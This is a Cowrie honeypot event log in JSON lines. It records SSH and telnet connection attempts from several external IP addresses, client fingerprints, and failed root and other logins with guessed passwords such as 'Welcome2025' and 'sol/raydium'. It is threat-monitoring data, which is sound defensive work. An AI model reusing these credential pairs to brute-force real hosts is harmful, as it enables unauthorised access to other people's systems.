{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:1d:d1:25:d9:27:ba:b1:a7:f1:04:ee:cd:07:b0:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKZUGuRqHzG+mzHm2+t1JjD5fAvSbEkuenmHQfkbNgFtF3uHLeji1U/7uKM1SCibIK5SvgEoZzpJHEN9BnwU3b159+ip0CeBkKGntXbumV/YFFSH/HwEFMzM6ZFkBRkHPcCdzP5PiBGQERvB0dWawGwX2LJX8oiHKxqatCW1wL/Ryf7FJnQNyWiW12rartrAc1hEzMR9jjBNEXG0jjDi14rQwyDWxjpPz3Ek0qZOukcNXkthUyPSD0/8XocKRmHaeYeOcXw8WGXAr2ljtJTxn72J84DixvPCV8DN1HlXA0AtesXWX38nCEMJpZHTeYBAisCd6GILNcl9qbfb1bRRa8dWF1cE3/JIuk3CfScoTQ7vxuctkRbA/RoKYCODps83TASQNwzgQQUxD1Mcq3IGRQtydh5m4nAN3wPqgUZZSumMn+P2OVnCB+8lou678KkRhTmdtC7tqZRGT+H9kAkcmwVP0fz59XEHVaWmvIbqEVm2JQ/l44a31asZjTphpo3NNRJzNzemJOck7rT+2mau6iVDRcn9NuJs23q/gkbEZw/yOjHflUzo5jZF/T5y0ydRI5WnWQWOJROmiLnOmCG5X0PBY9fq2/x+/h2uLre9O1QCqWeWfWpnwiajBL6pW/xcutV7cdhr2CrtPzALWxa9+KCrMV6X4YkXjOubcIgW5U6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:1d:d1:25:d9:27:ba:b1:a7:f1:04:ee:cd:07:b0:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:29.007287Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:1d:d1:25:d9:27:ba:b1:a7:f1:04:ee:cd:07:b0:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKZUGuRqHzG+mzHm2+t1JjD5fAvSbEkuenmHQfkbNgFtF3uHLeji1U/7uKM1SCibIK5SvgEoZzpJHEN9BnwU3b159+ip0CeBkKGntXbumV/YFFSH/HwEFMzM6ZFkBRkHPcCdzP5PiBGQERvB0dWawGwX2LJX8oiHKxqatCW1wL/Ryf7FJnQNyWiW12rartrAc1hEzMR9jjBNEXG0jjDi14rQwyDWxjpPz3Ek0qZOukcNXkthUyPSD0/8XocKRmHaeYeOcXw8WGXAr2ljtJTxn72J84DixvPCV8DN1HlXA0AtesXWX38nCEMJpZHTeYBAisCd6GILNcl9qbfb1bRRa8dWF1cE3/JIuk3CfScoTQ7vxuctkRbA/RoKYCODps83TASQNwzgQQUxD1Mcq3IGRQtydh5m4nAN3wPqgUZZSumMn+P2OVnCB+8lou678KkRhTmdtC7tqZRGT+H9kAkcmwVP0fz59XEHVaWmvIbqEVm2JQ/l44a31asZjTphpo3NNRJzNzemJOck7rT+2mau6iVDRcn9NuJs23q/gkbEZw/yOjHflUzo5jZF/T5y0ydRI5WnWQWOJROmiLnOmCG5X0PBY9fq2/x+/h2uLre9O1QCqWeWfWpnwiajBL6pW/xcutV7cdhr2CrtPzALWxa9+KCrMV6X4YkXjOubcIgW5U6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:29.017466Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:67:33:58:48:ab:bb:fd:11:54:c3:95:4d:57:6b:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDo+Fgvs444ZmcDvYHS8QrdUKP/z3wW0S1AbhIwTZz0sqntl+/J8k0bf1OAj1EaMcLbP3kK02Qa+DSEhBTYs2Zbre5AOAwc90s6+/n+CtuWtSt4hSaWZ3XPaglZ9drEGGF1bf07K1SePxl4B1ir1B/bJszb+aHceOMw0tdGPyi3TyYJpWbwKjj6qRJG0cJPjIjNQCGi8qfBsai/qG9R068hpYVIpWrt/8haz0Cns05rDbkBO5cuy892/YvjkXSMPoWdxoTSflUQDe125Ls0rAyRnThzHvQNt20Ke3skiWYP4tkbktUgPSWqCmnIVaEn9hQnuxnz30UBP6UeZ7Zk5dKJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:67:33:58:48:ab:bb:fd:11:54:c3:95:4d:57:6b:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:29.061886Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:67:33:58:48:ab:bb:fd:11:54:c3:95:4d:57:6b:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDo+Fgvs444ZmcDvYHS8QrdUKP/z3wW0S1AbhIwTZz0sqntl+/J8k0bf1OAj1EaMcLbP3kK02Qa+DSEhBTYs2Zbre5AOAwc90s6+/n+CtuWtSt4hSaWZ3XPaglZ9drEGGF1bf07K1SePxl4B1ir1B/bJszb+aHceOMw0tdGPyi3TyYJpWbwKjj6qRJG0cJPjIjNQCGi8qfBsai/qG9R068hpYVIpWrt/8haz0Cns05rDbkBO5cuy892/YvjkXSMPoWdxoTSflUQDe125Ls0rAyRnThzHvQNt20Ke3skiWYP4tkbktUgPSWqCmnIVaEn9hQnuxnz30UBP6UeZ7Zk5dKJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:29.073883Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:29.119871Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54402,"dst_ip":"10.17.0.5","dst_port":23,"session":"c906c541d1ef","protocol":"telnet","message":"New connection: 152.42.224.71:54402 (10.17.0.5:23) [session: c906c541d1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:33.146459Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":36792,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c45b9784b67","protocol":"ssh","message":"New connection: 45.117.179.232:36792 (10.17.0.5:22) [session: 3c45b9784b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:42.234459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:42.247311Z","src_ip":"45.117.179.232","session":"3c45b9784b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:42.596344Z","src_ip":"45.117.179.232","session":"3c45b9784b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678aA","message":"login attempt [root/12345678aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:44.022993Z","src_ip":"45.117.179.232","session":"3c45b9784b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:45.376311Z","src_ip":"45.117.179.232","session":"3c45b9784b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.32698893547058,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:46.702482Z","src_ip":"152.42.224.71","session":"5d3641da7f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":36298,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd4166e6fe43","protocol":"ssh","message":"New connection: 49.51.200.156:36298 (10.17.0.5:22) [session: bd4166e6fe43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:49.262454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:49.267418Z","src_ip":"49.51.200.156","session":"bd4166e6fe43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:49.335665Z","src_ip":"49.51.200.156","session":"bd4166e6fe43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Amir1234","message":"login attempt [root/Amir1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:49.639455Z","src_ip":"49.51.200.156","session":"bd4166e6fe43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:50.710782Z","src_ip":"49.51.200.156","session":"bd4166e6fe43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54226,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f0b4ac1c0f5","protocol":"telnet","message":"New connection: 152.42.224.71:54226 (10.17.0.5:23) [session: 0f0b4ac1c0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:52.428728Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54236,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e50cb7ebeaa","protocol":"telnet","message":"New connection: 152.42.224.71:54236 (10.17.0.5:23) [session: 9e50cb7ebeaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:55.306911Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":44812,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac8f32e97d2","protocol":"ssh","message":"New connection: 185.242.234.173:44812 (10.17.0.5:22) [session: cac8f32e97d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:57.667693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:57.678081Z","src_ip":"185.242.234.173","session":"cac8f32e97d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:59.126700Z","src_ip":"185.242.234.173","session":"cac8f32e97d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2025","message":"login attempt [root/Welcome2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:59.540960Z","src_ip":"185.242.234.173","session":"cac8f32e97d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:00.750782Z","src_ip":"185.242.234.173","session":"cac8f32e97d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49876,"dst_ip":"10.17.0.5","dst_port":22,"session":"b20ccc86d3c1","protocol":"ssh","message":"New connection: 193.32.162.145:49876 (10.17.0.5:22) [session: b20ccc86d3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:04.128057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:04.133114Z","src_ip":"193.32.162.145","session":"b20ccc86d3c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:04.237210Z","src_ip":"193.32.162.145","session":"b20ccc86d3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"raydium","message":"login attempt [sol/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:04.546377Z","src_ip":"193.32.162.145","session":"b20ccc86d3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:05.656798Z","src_ip":"193.32.162.145","session":"b20ccc86d3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00728559494019,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:11.545989Z","src_ip":"152.42.224.71","session":"0f69b8bb91ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.82925081253052,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:14.975574Z","src_ip":"152.42.224.71","session":"c906c541d1ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52072,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b49cef717e4","protocol":"telnet","message":"New connection: 152.42.224.71:52072 (10.17.0.5:23) [session: 8b49cef717e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:15.793715Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56368,"dst_ip":"10.17.0.5","dst_port":23,"session":"7470fb7208a5","protocol":"telnet","message":"New connection: 152.42.224.71:56368 (10.17.0.5:23) [session: 7470fb7208a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:23.577118Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":35392,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdda9dd8563b","protocol":"ssh","message":"New connection: 103.77.242.62:35392 (10.17.0.5:22) [session: cdda9dd8563b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:26.645462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:26.651572Z","src_ip":"103.77.242.62","session":"cdda9dd8563b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:26.899307Z","src_ip":"103.77.242.62","session":"cdda9dd8563b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hiphop","message":"login attempt [root/hiphop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:27.639685Z","src_ip":"103.77.242.62","session":"cdda9dd8563b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:28.890787Z","src_ip":"103.77.242.62","session":"cdda9dd8563b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":43282,"dst_ip":"10.17.0.5","dst_port":22,"session":"29c9883d8f86","protocol":"ssh","message":"New connection: 43.153.85.27:43282 (10.17.0.5:22) [session: 29c9883d8f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:29.688039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:29.693082Z","src_ip":"43.153.85.27","session":"29c9883d8f86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:50:29.767251Z","src_ip":"43.153.85.27","session":"29c9883d8f86","protocol":"ssh"}
